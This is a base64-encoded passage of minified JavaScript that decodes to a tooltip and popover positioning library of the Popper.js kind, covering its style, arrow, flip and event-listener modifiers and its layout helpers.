bnR8fHQgaW5zdGFuY2VvZiBFbGVtZW50fWZ1bmN0aW9uIHp0KHQpe3JldHVybiB0IGluc3RhbmNlb2YgQnQodCkuSFRNTEVsZW1lbnR8fHQgaW5zdGFuY2VvZiBIVE1MRWxlbWVudH1mdW5jdGlvbiBxdCh0KXtyZXR1cm4idW5kZWZpbmVkIiE9dHlwZW9mIFNoYWRvd1Jvb3QmJih0IGluc3RhbmNlb2YgQnQodCkuU2hhZG93Um9vdHx8dCBpbnN0YW5jZW9mIFNoYWRvd1Jvb3QpfWNvbnN0IFJ0PXtuYW1lOiJhcHBseVN0eWxlcyIsZW5hYmxlZDohMCxwaGFzZToid3JpdGUiLGZuOmZ1bmN0aW9uKHQpe3ZhciBlPXQuc3RhdGU7T2JqZWN0LmtleXMoZS5lbGVtZW50cykuZm9yRWFjaCgoZnVuY3Rpb24odCl7dmFyIGk9ZS5zdHlsZXNbdF18fHt9LG49ZS5hdHRyaWJ1dGVzW3RdfHx7fSxzPWUuZWxlbWVudHNbdF07enQocykmJld0KHMpJiYoT2JqZWN0LmFzc2lnbihzLnN0eWxlLGkpLE9iamVjdC5rZXlzKG4pLmZvckVhY2goKGZ1bmN0aW9uKHQpe3ZhciBlPW5bdF07ITE9PT1lP3MucmVtb3ZlQXR0cmlidXRlKHQpOnMuc2V0QXR0cmlidXRlKHQsITA9PT1lPyIiOmUpfSkpKX0pKX0sZWZmZWN0OmZ1bmN0aW9uKHQpe3ZhciBlPXQuc3RhdGUsaT17cG9wcGVyOntwb3NpdGlvbjplLm9wdGlvbnMuc3RyYXRlZ3ksbGVmdDoiMCIsdG9wOiIwIixtYXJnaW46IjAifSxhcnJvdzp7cG9zaXRpb246ImFic29sdXRlIn0scmVmZXJlbmNlOnt9fTtyZXR1cm4gT2JqZWN0LmFzc2lnbihlLmVsZW1lbnRzLnBvcHBlci5zdHlsZSxpLnBvcHBlciksZS5zdHlsZXM9aSxlLmVsZW1lbnRzLmFycm93JiZPYmplY3QuYXNzaWduKGUuZWxlbWVudHMuYXJyb3cuc3R5bGUsaS5hcnJvdyksZnVuY3Rpb24oKXtPYmplY3Qua2V5cyhlLmVsZW1lbnRzKS5mb3JFYWNoKChmdW5jdGlvbih0KXt2YXIgbj1lLmVsZW1lbnRzW3RdLHM9ZS5hdHRyaWJ1dGVzW3RdfHx7fSxvPU9iamVjdC5rZXlzKGUuc3R5bGVzLmhhc093blByb3BlcnR5KHQpP2Uuc3R5bGVzW3RdOmlbdF0pLnJlZHVjZSgoZnVuY3Rpb24odCxlKXtyZXR1cm4gdFtlXT0iIix0fSkse30pO3p0KG4pJiZXdChuKSYmKE9iamVjdC5hc3NpZ24obi5zdHlsZSxvKSxPYmplY3Qua2V5cyhzKS5mb3JFYWNoKChmdW5jdGlvbih0KXtuLnJlbW92ZUF0dHJpYnV0ZSh0KX0pKSl9KSl9fSxyZXF1aXJlczpbImNvbXB1dGVTdHlsZXMiXX07ZnVuY3Rpb24gVnQodCl7cmV0dXJuIHQuc3BsaXQoIi0iKVswXX12YXIgS3Q9TWF0aC5tYXgsUXQ9TWF0aC5taW4sWHQ9TWF0aC5yb3VuZDtmdW5jdGlvbiBZdCgpe3ZhciB0PW5hdmlnYXRvci51c2VyQWdlbnREYXRhO3JldHVybiBudWxsIT10JiZ0LmJyYW5kcz90LmJyYW5kcy5tYXAoKGZ1bmN0aW9uKHQpe3JldHVybiB0LmJyYW5kKyIvIit0LnZlcnNpb259KSkuam9pbigiICIpOm5hdmlnYXRvci51c2VyQWdlbnR9ZnVuY3Rpb24gVXQoKXtyZXR1cm4hL14oKD8hY2hyb21lfGFuZHJvaWQpLikqc2FmYXJpL2kudGVzdChZdCgpKX1mdW5jdGlvbiBHdCh0LGUsaSl7dm9pZCAwPT09ZSYmKGU9ITEpLHZvaWQgMD09PWkmJihpPSExKTt2YXIgbj10LmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpLHM9MSxvPTE7ZSYmenQodCkmJihzPXQub2Zmc2V0V2lkdGg+MCYmWHQobi53aWR0aCkvdC5vZmZzZXRXaWR0aHx8MSxvPXQub2Zmc2V0SGVpZ2h0PjAmJlh0KG4uaGVpZ2h0KS90Lm9mZnNldEhlaWdodHx8MSk7dmFyIHI9KEZ0KHQpP0J0KHQpOndpbmRvdykudmlzdWFsVmlld3BvcnQsYT0hVXQoKSYmaSxsPShuLmxlZnQrKGEmJnI/ci5vZmZzZXRMZWZ0OjApKS9zLGM9KG4udG9wKyhhJiZyP3Iub2Zmc2V0VG9wOjApKS9vLGg9bi53aWR0aC9zLGQ9bi5oZWlnaHQvbztyZXR1cm57d2lkdGg6aCxoZWlnaHQ6ZCx0b3A6YyxyaWdodDpsK2gsYm90dG9tOmMrZCxsZWZ0OmwseDpsLHk6Y319ZnVuY3Rpb24gSnQodCl7dmFyIGU9R3QodCksaT10Lm9mZnNldFdpZHRoLG49dC5vZmZzZXRIZWlnaHQ7cmV0dXJuIE1hdGguYWJzKGUud2lkdGgtaSk8PTEmJihpPWUud2lkdGgpLE1hdGguYWJzKGUuaGVpZ2h0LW4pPD0xJiYobj1lLmhlaWdodCkse3g6dC5vZmZzZXRMZWZ0LHk6dC5vZmZzZXRUb3Asd2lkdGg6aSxoZWlnaHQ6bn19ZnVuY3Rpb24gWnQodCxlKXt2YXIgaT1lLmdldFJvb3ROb2RlJiZlLmdldFJvb3ROb2RlKCk7aWYodC5jb250YWlucyhlKSlyZXR1cm4hMDtpZihpJiZxdChpKSl7dmFyIG49ZTtkb3tpZihuJiZ0LmlzU2FtZU5vZGUobikpcmV0dXJuITA7bj1uLnBhcmVudE5vZGV8fG4uaG9zdH13aGlsZShuKX1yZXR1cm4hMX1mdW5jdGlvbiB0ZSh0KXtyZXR1cm4gQnQodCkuZ2V0Q29tcHV0ZWRTdHlsZSh0KX1mdW5jdGlvbiBlZSh0KXtyZXR1cm5bInRhYmxlIiwidGQiLCJ0aCJdLmluZGV4T2YoV3QodCkpPj0wfWZ1bmN0aW9uIGllKHQpe3JldHVybigoRnQodCk/dC5vd25lckRvY3VtZW50OnQuZG9jdW1lbnQpfHx3aW5kb3cuZG9jdW1lbnQpLmRvY3VtZW50RWxlbWVudH1mdW5jdGlvbiBuZSh0KXtyZXR1cm4iaHRtbCI9PT1XdCh0KT90OnQuYXNzaWduZWRTbG90fHx0LnBhcmVudE5vZGV8fChxdCh0KT90Lmhvc3Q6bnVsbCl8fGllKHQpfWZ1bmN0aW9uIHNlKHQpe3JldHVybiB6dCh0KSYmImZpeGVkIiE9PXRlKHQpLnBvc2l0aW9uP3Qub2Zmc2V0UGFyZW50Om51bGx9ZnVuY3Rpb24gb2UodCl7Zm9yKHZhciBlPUJ0KHQpLGk9c2UodCk7aSYmZWUoaSkmJiJzdGF0aWMiPT09dGUoaSkucG9zaXRpb247KWk9c2UoaSk7cmV0dXJuIGkmJigiaHRtbCI9PT1XdChpKXx8ImJvZHkiPT09V3QoaSkmJiJzdGF0aWMiPT09dGUoaSkucG9zaXRpb24pP2U6aXx8ZnVuY3Rpb24odCl7dmFyIGU9L2ZpcmVmb3gvaS50ZXN0KFl0KCkpO2lmKC9UcmlkZW50L2kudGVzdChZdCgpKSYmenQodCkmJiJmaXhlZCI9PT10ZSh0KS5wb3NpdGlvbilyZXR1cm4gbnVsbDt2YXIgaT1uZSh0KTtmb3IocXQoaSkmJihpPWkuaG9zdCk7enQoaSkmJlsiaHRtbCIsImJvZHkiXS5pbmRleE9mKFd0KGkpKTwwOyl7dmFyIG49dGUoaSk7aWYoIm5vbmUiIT09bi50cmFuc2Zvcm18fCJub25lIiE9PW4ucGVyc3BlY3RpdmV8fCJwYWludCI9PT1uLmNvbnRhaW58fC0xIT09WyJ0cmFuc2Zvcm0iLCJwZXJzcGVjdGl2ZSJdLmluZGV4T2Yobi53aWxsQ2hhbmdlKXx8ZSYmImZpbHRlciI9PT1uLndpbGxDaGFuZ2V8fGUmJm4uZmlsdGVyJiYibm9uZSIhPT1uLmZpbHRlcilyZXR1cm4gaTtpPWkucGFyZW50Tm9kZX1yZXR1cm4gbnVsbH0odCl8fGV9ZnVuY3Rpb24gcmUodCl7cmV0dXJuWyJ0b3AiLCJib3R0b20iXS5pbmRleE9mKHQpPj0wPyJ4IjoieSJ9ZnVuY3Rpb24gYWUodCxlLGkpe3JldHVybiBLdCh0LFF0KGUsaSkpfWZ1bmN0aW9uIGxlKHQpe3JldHVybiBPYmplY3QuYXNzaWduKHt9LHt0b3A6MCxyaWdodDowLGJvdHRvbTowLGxlZnQ6MH0sdCl9ZnVuY3Rpb24gY2UodCxlKXtyZXR1cm4gZS5yZWR1Y2UoKGZ1bmN0aW9uKGUsaSl7cmV0dXJuIGVbaV09dCxlfSkse30pfWNvbnN0IGhlPXtuYW1lOiJhcnJvdyIsZW5hYmxlZDohMCxwaGFzZToibWFpbiIsZm46ZnVuY3Rpb24odCl7dmFyIGUsaT10LnN0YXRlLG49dC5uYW1lLHM9dC5vcHRpb25zLG89aS5lbGVtZW50cy5hcnJvdyxyPWkubW9kaWZpZXJzRGF0YS5wb3BwZXJPZmZzZXRzLGE9VnQoaS5wbGFjZW1lbnQpLGw9cmUoYSksYz1bYnQsX3RdLmluZGV4T2YoYSk+PTA/ImhlaWdodCI6IndpZHRoIjtpZihvJiZyKXt2YXIgaD1mdW5jdGlvbih0LGUpe3JldHVybiBsZSgibnVtYmVyIiE9dHlwZW9mKHQ9ImZ1bmN0aW9uIj09dHlwZW9mIHQ/dChPYmplY3QuYXNzaWduKHt9LGUucmVjdHMse3BsYWNlbWVudDplLnBsYWNlbWVudH0pKTp0KT90OmNlKHQseXQpKX0ocy5wYWRkaW5nLGkpLGQ9SnQobyksdT0ieSI9PT1sP2d0OmJ0LGY9InkiPT09bD9tdDpfdCxwPWkucmVjdHMucmVmZXJlbmNlW2NdK2kucmVjdHMucmVmZXJlbmNlW2xdLXJbbF0taS5yZWN0cy5wb3BwZXJbY10sZz1yW2xdLWkucmVjdHMucmVmZXJlbmNlW2xdLG09b2UobyksXz1tPyJ5Ij09PWw/bS5jbGllbnRIZWlnaHR8fDA6bS5jbGllbnRXaWR0aHx8MDowLGI9cC8yLWcvMix2PWhbdV0seT1fLWRbY10taFtmXSx3PV8vMi1kW2NdLzIrYixBPWFlKHYsdyx5KSxFPWw7aS5tb2RpZmllcnNEYXRhW25dPSgoZT17fSlbRV09QSxlLmNlbnRlck9mZnNldD1BLXcsZSl9fSxlZmZlY3Q6ZnVuY3Rpb24odCl7dmFyIGU9dC5zdGF0ZSxpPXQub3B0aW9ucy5lbGVtZW50LG49dm9pZCAwPT09aT8iW2RhdGEtcG9wcGVyLWFycm93XSI6aTtudWxsIT1uJiYoInN0cmluZyIhPXR5cGVvZiBufHwobj1lLmVsZW1lbnRzLnBvcHBlci5xdWVyeVNlbGVjdG9yKG4pKSkmJlp0KGUuZWxlbWVudHMucG9wcGVyLG4pJiYoZS5lbGVtZW50cy5hcnJvdz1uKX0scmVxdWlyZXM6WyJwb3BwZXJPZmZzZXRzIl0scmVxdWlyZXNJZkV4aXN0czpbInByZXZlbnRPdmVyZmxvdyJdfTtmdW5jdGlvbiBkZSh0KXtyZXR1cm4gdC5zcGxpdCgiLSIpWzFdfXZhciB1ZT17dG9wOiJhdXRvIixyaWdodDoiYXV0byIsYm90dG9tOiJhdXRvIixsZWZ0OiJhdXRvIn07ZnVuY3Rpb24gZmUodCl7dmFyIGUsaT10LnBvcHBlcixuPXQucG9wcGVyUmVjdCxzPXQucGxhY2VtZW50LG89dC52YXJpYXRpb24scj10Lm9mZnNldHMsYT10LnBvc2l0aW9uLGw9dC5ncHVBY2NlbGVyYXRpb24sYz10LmFkYXB0aXZlLGg9dC5yb3VuZE9mZnNldHMsZD10LmlzRml4ZWQsdT1yLngsZj12b2lkIDA9PT11PzA6dSxwPXIueSxnPXZvaWQgMD09PXA/MDpwLG09ImZ1bmN0aW9uIj09dHlwZW9mIGg/aCh7eDpmLHk6Z30pOnt4OmYseTpnfTtmPW0ueCxnPW0ueTt2YXIgXz1yLmhhc093blByb3BlcnR5KCJ4IiksYj1yLmhhc093blByb3BlcnR5KCJ5Iiksdj1idCx5PWd0LHc9d2luZG93O2lmKGMpe3ZhciBBPW9lKGkpLEU9ImNsaWVudEhlaWdodCIsVD0iY2xpZW50V2lkdGgiO0E9PT1CdChpKSYmInN0YXRpYyIhPT10ZShBPWllKGkpKS5wb3NpdGlvbiYmImFic29sdXRlIj09PWEmJihFPSJzY3JvbGxIZWlnaHQiLFQ9InNjcm9sbFdpZHRoIiksKHM9PT1ndHx8KHM9PT1idHx8cz09PV90KSYmbz09PUF0KSYmKHk9bXQsZy09KGQmJkE9PT13JiZ3LnZpc3VhbFZpZXdwb3J0P3cudmlzdWFsVmlld3BvcnQuaGVpZ2h0OkFbRV0pLW4uaGVpZ2h0LGcqPWw/MTotMSkscyE9PWJ0JiYocyE9PWd0JiZzIT09bXR8fG8hPT1BdCl8fCh2PV90LGYtPShkJiZBPT09dyYmdy52aXN1YWxWaWV3cG9ydD93LnZpc3VhbFZpZXdwb3J0LndpZHRoOkFbVF0pLW4ud2lkdGgsZio9bD8xOi0xKX12YXIgQyxPPU9iamVjdC5hc3NpZ24oe3Bvc2l0aW9uOmF9LGMmJnVlKSx4PSEwPT09aD9mdW5jdGlvbih0KXt2YXIgZT10LngsaT10Lnksbj13aW5kb3cuZGV2aWNlUGl4ZWxSYXRpb3x8MTtyZXR1cm57eDpYdChlKm4pL258fDAseTpYdChpKm4pL258fDB9fSh7eDpmLHk6Z30pOnt4OmYseTpnfTtyZXR1cm4gZj14LngsZz14LnksbD9PYmplY3QuYXNzaWduKHt9LE8sKChDPXt9KVt5XT1iPyIwIjoiIixDW3ZdPV8/IjAiOiIiLEMudHJhbnNmb3JtPSh3LmRldmljZVBpeGVsUmF0aW98fDEpPD0xPyJ0cmFuc2xhdGUoIitmKyJweCwgIitnKyJweCkiOiJ0cmFuc2xhdGUzZCgiK2YrInB4LCAiK2crInB4LCAwKSIsQykpOk9iamVjdC5hc3NpZ24oe30sTywoKGU9e30pW3ldPWI/ZysicHgiOiIiLGVbdl09Xz9mKyJweCI6IiIsZS50cmFuc2Zvcm09IiIsZSkpfWNvbnN0IHBlPXtuYW1lOiJjb21wdXRlU3R5bGVzIixlbmFibGVkOiEwLHBoYXNlOiJiZWZvcmVXcml0ZSIsZm46ZnVuY3Rpb24odCl7dmFyIGU9dC5zdGF0ZSxpPXQub3B0aW9ucyxuPWkuZ3B1QWNjZWxlcmF0aW9uLHM9dm9pZCAwPT09bnx8bixvPWkuYWRhcHRpdmUscj12b2lkIDA9PT1vfHxvLGE9aS5yb3VuZE9mZnNldHMsbD12b2lkIDA9PT1hfHxhLGM9e3BsYWNlbWVudDpWdChlLnBsYWNlbWVudCksdmFyaWF0aW9uOmRlKGUucGxhY2VtZW50KSxwb3BwZXI6ZS5lbGVtZW50cy5wb3BwZXIscG9wcGVyUmVjdDplLnJlY3RzLnBvcHBlcixncHVBY2NlbGVyYXRpb246cyxpc0ZpeGVkOiJmaXhlZCI9PT1lLm9wdGlvbnMuc3RyYXRlZ3l9O251bGwhPWUubW9kaWZpZXJzRGF0YS5wb3BwZXJPZmZzZXRzJiYoZS5zdHlsZXMucG9wcGVyPU9iamVjdC5hc3NpZ24oe30sZS5zdHlsZXMucG9wcGVyLGZlKE9iamVjdC5hc3NpZ24oe30sYyx7b2Zmc2V0czplLm1vZGlmaWVyc0RhdGEucG9wcGVyT2Zmc2V0cyxwb3NpdGlvbjplLm9wdGlvbnMuc3RyYXRlZ3ksYWRhcHRpdmU6cixyb3VuZE9mZnNldHM6bH0pKSkpLG51bGwhPWUubW9kaWZpZXJzRGF0YS5hcnJvdyYmKGUuc3R5bGVzLmFycm93PU9iamVjdC5hc3NpZ24oe30sZS5zdHlsZXMuYXJyb3csZmUoT2JqZWN0LmFzc2lnbih7fSxjLHtvZmZzZXRzOmUubW9kaWZpZXJzRGF0YS5hcnJvdyxwb3NpdGlvbjoiYWJzb2x1dGUiLGFkYXB0aXZlOiExLHJvdW5kT2Zmc2V0czpsfSkpKSksZS5hdHRyaWJ1dGVzLnBvcHBlcj1PYmplY3QuYXNzaWduKHt9LGUuYXR0cmlidXRlcy5wb3BwZXIseyJkYXRhLXBvcHBlci1wbGFjZW1lbnQiOmUucGxhY2VtZW50fSl9LGRhdGE6e319O3ZhciBnZT17cGFzc2l2ZTohMH07Y29uc3QgbWU9e25hbWU6ImV2ZW50TGlzdGVuZXJzIixlbmFibGVkOiEwLHBoYXNlOiJ3cml0ZSIsZm46ZnVuY3Rpb24oKXt9LGVmZmVjdDpmdW5jdGlvbih0KXt2YXIgZT10LnN0YXRlLGk9dC5pbnN0YW5jZSxuPXQub3B0aW9ucyxzPW4uc2Nyb2xsLG89dm9pZCAwPT09c3x8cyxyPW4ucmVzaXplLGE9dm9pZCAwPT09cnx8cixsPUJ0KGUuZWxlbWVudHMucG9wcGVyKSxjPVtdLmNvbmNhdChlLnNjcm9sbFBhcmVudHMucmVmZXJlbmNlLGUuc2Nyb2xsUGFyZW50cy5wb3BwZXIpO3JldHVybiBvJiZjLmZvckVhY2goKGZ1bmN0aW9uKHQpe3QuYWRkRXZlbnRMaXN0ZW5lcigic2Nyb2xsIixpLnVwZGF0ZSxnZSl9KSksYSYmbC5hZGRFdmVudExpc3RlbmVyKCJyZXNpemUiLGkudXBkYXRlLGdlKSxmdW5jdGlvbigpe28mJmMuZm9yRWFjaCgoZnVuY3Rpb24odCl7dC5yZW1vdmVFdmVudExpc3RlbmVyKCJzY3JvbGwiLGkudXBkYXRlLGdlKX0pKSxhJiZsLnJlbW92ZUV2ZW50TGlzdGVuZXIoInJlc2l6ZSIsaS51cGRhdGUsZ2UpfX0sZGF0YTp7fX07dmFyIF9lPXtsZWZ0OiJyaWdodCIscmlnaHQ6ImxlZnQiLGJvdHRvbToidG9wIix0b3A6ImJvdHRvbSJ9O2Z1bmN0aW9uIGJlKHQpe3JldHVybiB0LnJlcGxhY2UoL2xlZnR8cmlnaHR8Ym90dG9tfHRvcC9nLChmdW5jdGlvbih0KXtyZXR1cm4gX2VbdF19KSl9dmFyIHZlPXtzdGFydDoiZW5kIixlbmQ6InN0YXJ0In07ZnVuY3Rpb24geWUodCl7cmV0dXJuIHQucmVwbGFjZSgvc3RhcnR8ZW5kL2csKGZ1bmN0aW9uKHQpe3JldHVybiB2ZVt0XX0pKX1mdW5jdGlvbiB3ZSh0KXt2YXIgZT1CdCh0KTtyZXR1cm57c2Nyb2xsTGVmdDplLnBhZ2VYT2Zmc2V0LHNjcm9sbFRvcDplLnBhZ2VZT2Zmc2V0fX1mdW5jdGlvbiBBZSh0KXtyZXR1cm4gR3QoaWUodCkpLmxlZnQrd2UodCkuc2Nyb2xsTGVmdH1mdW5jdGlvbiBFZSh0KXt2YXIgZT10ZSh0KSxpPWUub3ZlcmZsb3csbj1lLm92ZXJmbG93WCxzPWUub3ZlcmZsb3dZO3JldHVybi9hdXRvfHNjcm9sbHxvdmVybGF5fGhpZGRlbi8udGVzdChpK3Mrbil9ZnVuY3Rpb24gVGUodCl7cmV0dXJuWyJodG1sIiwiYm9keSIsIiNkb2N1bWVudCJdLmluZGV4T2YoV3QodCkpPj0wP3Qub3duZXJEb2N1bWVudC5ib2R5Onp0KHQpJiZFZSh0KT90OlRlKG5lKHQpKX1mdW5jdGlvbiBDZSh0LGUpe3ZhciBpO3ZvaWQgMD09PWUmJihlPVtdKTt2YXIgbj1UZSh0KSxzPW49PT0obnVsbD09KGk9dC5vd25lckRvY3VtZW50KT92b2lkIDA6aS5ib2R5KSxvPUJ0KG4pLHI9cz9bb10uY29uY2F0KG8udmlzdWFsVmlld3BvcnR8fFtdLEVlKG4pP246W10pOm4sYT1lLmNvbmNhdChyKTtyZXR1cm4gcz9hOmEuY29uY2F0KENlKG5lKHIpKSl9ZnVuY3Rpb24gT2UodCl7cmV0dXJuIE9iamVjdC5hc3NpZ24oe30sdCx7bGVmdDp0LngsdG9wOnQueSxyaWdodDp0LngrdC53aWR0aCxib3R0b206dC55K3QuaGVpZ2h0fSl9ZnVuY3Rpb24geGUodCxlLGkpe3JldHVybiBlPT09VHQ/T2UoZnVuY3Rpb24odCxlKXt2YXIgaT1CdCh0KSxuPWllKHQpLHM9aS52aXN1YWxWaWV3cG9ydCxvPW4uY2xpZW50V2lkdGgscj1uLmNsaWVudEhlaWdodCxhPTAsbD0wO2lmKHMpe289cy53aWR0aCxyPXMuaGVpZ2h0O3ZhciBjPVV0KCk7KGN8fCFjJiYiZml4ZWQiPT09ZSkmJihhPXMub2Zmc2V0TGVmdCxsPXMub2Zmc2V0VG9wKX1yZXR1cm57d2lkdGg6byxoZWlnaHQ6cix4OmErQWUodCkseTpsfX0odCxpKSk6RnQoZSk/ZnVuY3Rpb24odCxlKXt2YXIgaT1HdCh0LCExLCJmaXhlZCI9PT1lKTtyZXR1cm4gaS50b3A9aS50b3ArdC5jbGllbnRUb3AsaS5sZWZ0PWkubGVmdCt0LmNsaWVudExlZnQsaS5ib3R0b209aS50b3ArdC5jbGllbnRIZWlnaHQsaS5yaWdodD1pLmxlZnQrdC5jbGllbnRXaWR0aCxpLndpZHRoPXQuY2xpZW50V2lkdGgsaS5oZWlnaHQ9dC5jbGllbnRIZWlnaHQsaS54PWkubGVmdCxpLnk9aS50b3AsaX0oZSxpKTpPZShmdW5jdGlvbih0KXt2YXIgZSxpPWllKHQpLG49d2UodCkscz1udWxsPT0oZT10Lm93bmVyRG9jdW1lbnQpP3ZvaWQgMDplLmJvZHksbz1LdChpLnNjcm9sbFdpZHRoLGkuY2xpZW50V2lkdGgscz9zLnNjcm9sbFdpZHRoOjAscz9zLmNsaWVudFdpZHRoOjApLHI9S3QoaS5zY3JvbGxIZWlnaHQsaS5jbGllbnRIZWlnaHQscz9zLnNjcm9sbEhlaWdodDowLHM/cy5jbGllbnRIZWlnaHQ6MCksYT0tbi5zY3JvbGxMZWZ0K0FlKHQpLGw9LW4uc2Nyb2xsVG9wO3JldHVybiJydGwiPT09dGUoc3x8aSkuZGlyZWN0aW9uJiYoYSs9S3QoaS5jbGllbnRXaWR0aCxzP3MuY2xpZW50V2lkdGg6MCktbykse3dpZHRoOm8saGVpZ2h0OnIseDphLHk6bH19KGllKHQpKSl9ZnVuY3Rpb24ga2UodCl7dmFyIGUsaT10LnJlZmVyZW5jZSxuPXQuZWxlbWVudCxzPXQucGxhY2VtZW50LG89cz9WdChzKTpudWxsLHI9cz9kZShzKTpudWxsLGE9aS54K2kud2lkdGgvMi1uLndpZHRoLzIsbD1pLnkraS5oZWlnaHQvMi1uLmhlaWdodC8yO3N3aXRjaChvKXtjYXNlIGd0OmU9e3g6YSx5OmkueS1uLmhlaWdodH07YnJlYWs7Y2FzZSBtdDplPXt4OmEseTppLnkraS5oZWlnaHR9O2JyZWFrO2Nhc2UgX3Q6ZT17eDppLngraS53aWR0aCx5Omx9O2JyZWFrO2Nhc2UgYnQ6ZT17eDppLngtbi53aWR0aCx5Omx9O2JyZWFrO2RlZmF1bHQ6ZT17eDppLngseTppLnl9fXZhciBjPW8/cmUobyk6bnVsbDtpZihudWxsIT1jKXt2YXIgaD0ieSI9PT1jPyJoZWlnaHQiOiJ3aWR0aCI7c3dpdGNoKHIpe2Nhc2Ugd3Q6ZVtjXT1lW2NdLShpW2hdLzItbltoXS8yKTticmVhaztjYXNlIEF0OmVbY109ZVtjXSsoaVtoXS8yLW5baF0vMil9fXJldHVybiBlfWZ1bmN0aW9uIExlKHQsZSl7dm9pZCAwPT09ZSYmKGU9e30pO3ZhciBpPWUsbj1pLnBsYWNlbWVudCxzPXZvaWQgMD09PW4/dC5wbGFjZW1lbnQ6bixvPWkuc3RyYXRlZ3kscj12b2lkIDA9PT1vP3Quc3RyYXRlZ3k6byxhPWkuYm91bmRhcnksbD12b2lkIDA9PT1hP0V0OmEsYz1pLnJvb3RCb3VuZGFyeSxoPXZvaWQgMD09PWM/VHQ6YyxkPWkuZWxlbWVudENvbnRleHQsdT12b2lkIDA9PT1kP0N0OmQsZj1pLmFsdEJvdW5kYXJ5LHA9dm9pZCAwIT09ZiYmZixnPWkucGFkZGluZyxtPXZvaWQgMD09PWc/MDpnLF89bGUoIm51bWJlciIhPXR5cGVvZiBtP206Y2UobSx5dCkpLGI9dT09PUN0P090OkN0LHY9dC5yZWN0cy5wb3BwZXIseT10LmVsZW1lbnRzW3A/Yjp1XSx3PWZ1bmN0aW9uKHQsZSxpLG4pe3ZhciBzPSJjbGlwcGluZ1BhcmVudHMiPT09ZT9mdW5jdGlvbih0KXt2YXIgZT1DZShuZSh0KSksaT1bImFic29sdXRlIiwiZml4ZWQiXS5pbmRleE9mKHRlKHQpLnBvc2l0aW9uKT49MCYmenQodCk/b2UodCk6dDtyZXR1cm4gRnQoaSk/ZS5maWx0ZXIoKGZ1bmN0aW9uKHQpe3JldHVybiBGdCh0KSYmWnQodCxpKSYmImJvZHkiIT09V3QodCl9KSk6W119KHQpOltdLmNvbmNhdChlKSxvPVtdLmNvbmNhdChzLFtpXSkscj1vWzBdLGE9by5yZWR1Y2UoKGZ1bmN0aW9uKGUsaSl7dmFyIHM9eGUodCxpLG4pO3JldHVybiBlLnRvcD1LdChzLnRvcCxlLnRvcCksZS5yaWdodD1RdChzLnJpZ2h0LGUucmlnaHQpLGUuYm90dG9tPVF0KHMuYm90dG9tLGUuYm90dG9tKSxlLmxlZnQ9S3Qocy5sZWZ0LGUubGVmdCksZX0pLHhlKHQscixuKSk7cmV0dXJuIGEud2lkdGg9YS5yaWdodC1hLmxlZnQsYS5oZWlnaHQ9YS5ib3R0b20tYS50b3AsYS54PWEubGVmdCxhLnk9YS50b3AsYX0oRnQoeSk/eTp5LmNvbnRleHRFbGVtZW50fHxpZSh0LmVsZW1lbnRzLnBvcHBlciksbCxoLHIpLEE9R3QodC5lbGVtZW50cy5yZWZlcmVuY2UpLEU9a2Uoe3JlZmVyZW5jZTpBLGVsZW1lbnQ6dixzdHJhdGVneToiYWJzb2x1dGUiLHBsYWNlbWVudDpzfSksVD1PZShPYmplY3QuYXNzaWduKHt9LHYsRSkpLEM9dT09PUN0P1Q6QSxPPXt0b3A6dy50b3AtQy50b3ArXy50b3AsYm90dG9tOkMuYm90dG9tLXcuYm90dG9tK18uYm90dG9tLGxlZnQ6dy5sZWZ0LUMubGVmdCtfLmxlZnQscmlnaHQ6Qy5yaWdodC13LnJpZ2h0K18ucmlnaHR9LHg9dC5tb2RpZmllcnNEYXRhLm9mZnNldDtpZih1PT09Q3QmJngpe3ZhciBrPXhbc107T2JqZWN0LmtleXMoTykuZm9yRWFjaCgoZnVuY3Rpb24odCl7dmFyIGU9W190LG10XS5pbmRleE9mKHQpPj0wPzE6LTEsaT1bZ3QsbXRdLmluZGV4T2YodCk+PTA/InkiOiJ4IjtPW3RdKz1rW2ldKmV9KSl9cmV0dXJuIE99ZnVuY3Rpb24gRGUodCxlKXt2b2lkIDA9PT1lJiYoZT17fSk7dmFyIGk9ZSxuPWkucGxhY2VtZW50LHM9aS5ib3VuZGFyeSxvPWkucm9vdEJvdW5kYXJ5LHI9aS5wYWRkaW5nLGE9aS5mbGlwVmFyaWF0aW9ucyxsPWkuYWxsb3dlZEF1dG9QbGFjZW1lbnRzLGM9dm9pZCAwPT09bD9rdDpsLGg9ZGUobiksZD1oP2E/eHQ6eHQuZmlsdGVyKChmdW5jdGlvbih0KXtyZXR1cm4gZGUodCk9PT1ofSkpOnl0LHU9ZC5maWx0ZXIoKGZ1bmN0aW9uKHQpe3JldHVybiBjLmluZGV4T2YodCk+PTB9KSk7MD09PXUubGVuZ3RoJiYodT1kKTt2YXIgZj11LnJlZHVjZSgoZnVuY3Rpb24oZSxpKXtyZXR1cm4gZVtpXT1MZSh0LHtwbGFjZW1lbnQ6aSxib3VuZGFyeTpzLHJvb3RCb3VuZGFyeTpvLHBhZGRpbmc6cn0pW1Z0KGkpXSxlfSkse30pO3JldHVybiBPYmplY3Qua2V5cyhmKS5zb3J0KChmdW5jdGlvbih0LGUpe3JldHVybiBmW3RdLWZbZV19KSl9Y29uc3QgU2U9e25hbWU6ImZsaXAiLGVuYWJsZWQ6ITAscGhhc2U6Im1haW4iLGZuOmZ1bmN0aW9uKHQpe3ZhciBlPXQuc3RhdGUsaT10Lm9wdGlvbnMsbj10Lm5hbWU7aWYoIWUubW9kaWZpZXJzRGF0YVtuXS5fc2tpcCl7Zm9yKHZhciBzPWkubWFpbkF4aXMsbz12b2lkIDA9PT1zfHxzLHI9aS5hbHRBeGlzLGE9dm9pZCAwPT09cnx8cixsPWkuZmFsbGJhY2tQbGFjZW1lbnRzLGM9aS5wYWRkaW5nLGg9aS5ib3VuZGFyeSxkPWkucm9vdEJvdW5kYXJ5LHU9aS5hbHRCb3VuZGFyeSxmPWkuZmxpcFZhcmlhdGlvbnMscD12b2lkIDA9PT1mfHxmLGc9aS5hbGxvd2VkQXV0b1BsYWNlbWVudHMsbT1lLm9wdGlvbnMucGxhY2VtZW50LF89VnQobSksYj1sfHwoXyE9PW0mJnA/ZnVuY3Rpb24odCl7aWYoVnQodCk9PT12dClyZXR1cm5bXTt2YXIgZT1iZSh0KTtyZXR1cm5beWUodCksZSx5ZShlKV19KG0pOltiZShtKV0pLHY9W21dLmNvbmNhdChiKS5yZWR1Y2UoKGZ1bmN0aW9uKHQsaSl7cmV0dXJuIHQuY29uY2F0KFZ0KGkpPT09dnQ/RGUoZSx7cGxhY2VtZW50OmksYm91bmRhcnk6aCxyb290Qm91bmRhcnk6ZCxwYWRkaW5nOmMsZmxpcFZhcmlhdGlvbnM6cCxhbGxvd2VkQXV0b1BsYWN